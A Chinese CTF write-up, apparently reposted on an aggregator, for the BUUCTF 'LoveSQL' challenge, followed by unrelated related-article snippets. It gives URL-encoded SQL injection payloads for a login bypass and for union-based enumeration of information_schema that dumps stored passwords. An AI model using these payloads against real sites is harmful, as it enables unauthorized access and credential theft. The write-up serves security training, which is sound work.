[极客大挑战 2019]LoveSQL

news/2025/1/9 21:04:26/文章来源:https://www.cnblogs.com/imtaieee/p/18522675

题目链接:https://buuoj.cn/challenges#[极客大挑战 2019]LoveSQL。

打开环境后,如下所示。

尝试 SQL 注入(万能密码)。

Payload:admin'+or+1%3d1%3b%23

(笔者通过简单粗暴的尝试:①没有使用单引号;②使用单引号;③使用双引号,来确定后端拼接的 SQL 语句中的 password 参数系使用单引号的)。

接下来,直接尝试联合注入。

Payload:admin'+union+select+1%3b%23

后端发现提示列的数量不对,因此逐个添加列数进行尝试,最终发现是列数是 3,并且第 3 列的数据会在前端显示(第 2 列也会)。

Payload:admin'+union+select+1,2,3%3b%23

随后,联合注入一把梭(当然,也可以直接使用 SQLMap)。

  1. 查询当前存在什么数据库。

Payload:123456'+union+select+1,2,group_concat(schema_name)+from+information_schema.schemata%3b%23

  1. 查询 "geek" 数据库中存在什么表。

Payload:123456'+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema%3d'geek'%3b%23

  1. 查看 "l0ve1ysq1" 表中存在什么字段。

Payload:123456'+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_name%3d'l0ve1ysq1'%3b%23

  1. 查看 "l0ve1ysq1" 表中的 "password" 字段的所有的值。

Payload:123456'+union+select+1,2,group_concat(0x7e,password,0x7e)+from+geek.l0ve1ysq1%3b%23

发现 flag。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/825954.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024软工现场编程实践

作业所属课程 https://edu.cnblogs.com/campus/fzu/SE2024作业要求 https://edu.cnblogs.com/campus/fzu/SE2024/homework/13302作业的目标 在三个小时内编写出一个个人记账本,用户可以对自己平时的收入和支出情况进行简单的记录,查看和统计团队名称 “研途无忧”团队成员学号…

2024软工实践

作业所属课程 https://edu.cnblogs.com/campus/fzu/SE2024作业要求 https://edu.cnblogs.com/campus/fzu/SE2024/homework/13302作业的目标 在三个小时内编写出一个个人记账本,用户可以对自己平时的收入和支出情况进行简单的记录,查看和统计团队名称 “研途无忧”团队成员学号…

Winform在主窗体里切换多个窗体

1.点击解决方案资源管理器的项目名称,右键添加用户控件(Windows窗体)。2.在主窗体代码中实例化添加的用户控件(Windows窗体)。3.在主窗体界面中添加pane控件,该控件的大小就是要切换的界面大小,然后在主窗体代码中将实例化的用户控件(Windows窗体)添加到pane控件的集合…

目前遇到过的编码

Base家族 base16 由大写字母(A-Z)和数字(0-9)组成,通常不需要“=”填充 base32 由(A-Z、2-7)32个可见字符构成,“=”符号用作后缀填充 例:NZXV64DBONZXO33SMQ====== KVEEQRSCI5DVKVSXKZEUQS2FJBKE2WKKGI2EKNCWJFCUQNSKIVAVINBTKVKE2TZUKVHUWRZWGRIVSVSNJZJFIQKNIZLDIN…

NOI LINUX 系统终端常用操作

打开终端 我们可以右键空白处 - 在终端中打开(Open in Terminal)/Ctrl+Alt+T 快捷键打开终端。 考试时编译、运行、调试、对拍、测大样例等行为的操作 对于一个 C++ 可执行文件 1.cpp 为例:编译: g++ 1.cpp -o qwq,其中 1.cpp 可替换为任意 C++ 可执行文件,qwq 表示已编译…

[BUUCTF]disk

[BUUCTF]disk[BUUCTF]disk 分析 VMDK:(VMWare Virtual Machine Disk Format)是虚拟机VMware创建的虚拟硬盘格式,文件存在于VMware文件系统中,被称为VMFS(虚拟机文件系统) 解题 凡是先打开010获得ctf{unseCure_quick_form4t_vo1umer 查找另外一半 用7Z打开该vmdk文件,发…

云南5日游

1 总览🦋云南景点合集 💛昆明:石林景区、昆明老街、滇池、斗南花市 💜大理:大理古城、洱海、苍山、喜洲古镇、南诏风情岛、双廊古镇、崇圣寺三塔 💙丽江: 玉龙雪山、蓝月谷、云杉坪、束河古镇、丽江古城、泸沽湖、 💚香格里拉:普达措公园、虎跳峡、独克宗古城、梅…

记录一下自己的优化字符串匹配算法

谁能拒绝一个写法比KMP简单,时间复杂度摸摸KMP(`O(n)` & `O(m+n)`),空间复杂度大概持平KMP的可可爱爱的KeBF呢😘我愿称之KeBF算法Ke的BF(Brute Force,暴力检索)法 关于其他 字符串匹配算法示例源码 #include <stdio.h> #include <string.h>int main() {//…

收集一些好看的图片

收集一些好看的背景和头像背景 游戏像素其它头像

海南话语音识别模型——模型训练(一)

上篇文章已经介绍了语料数据的预处理,对数据集中的音频数据分别做了重采样、静音切除、降噪以及在Fbank和MFCC中特征提取方式中选择了Fbank对音频数据进行特征提取的方法;在经过上面的处理后已经可以将提取出的音频数据Fbank丢到Transformer中进行训练,但还漏了一个比较重要…

2024秋软件工程iman现场编程作业

作业所属课程 班级的链接作业要求 2024秋软件工程现场编程作业 - 作业 - 软件工程2024 - 班级博客 - 博客园作业目标 现场极限编程,制作一个个人记账本程序。团队名称 iman团队成员 102202146 - 蓝敏龙, 102201225 - 陈碧煌, 102202105 - 王梓铭, 102202124 - 阿依娜孜, 10220…

4 Empirical Properties of Limit Order Books

LOB 可以揭露很多有趣的微观信息,近年来也有许多研究。但需要注意:高频交易的进化速度极快,让这些研究很多时候比较过时。 Originally Posted at: https://clouder0.com/zh-cn/posts/lob-empirical-properties/ 总结性的来说,作者发现了这些特点:每日交易量大概占市值的 \…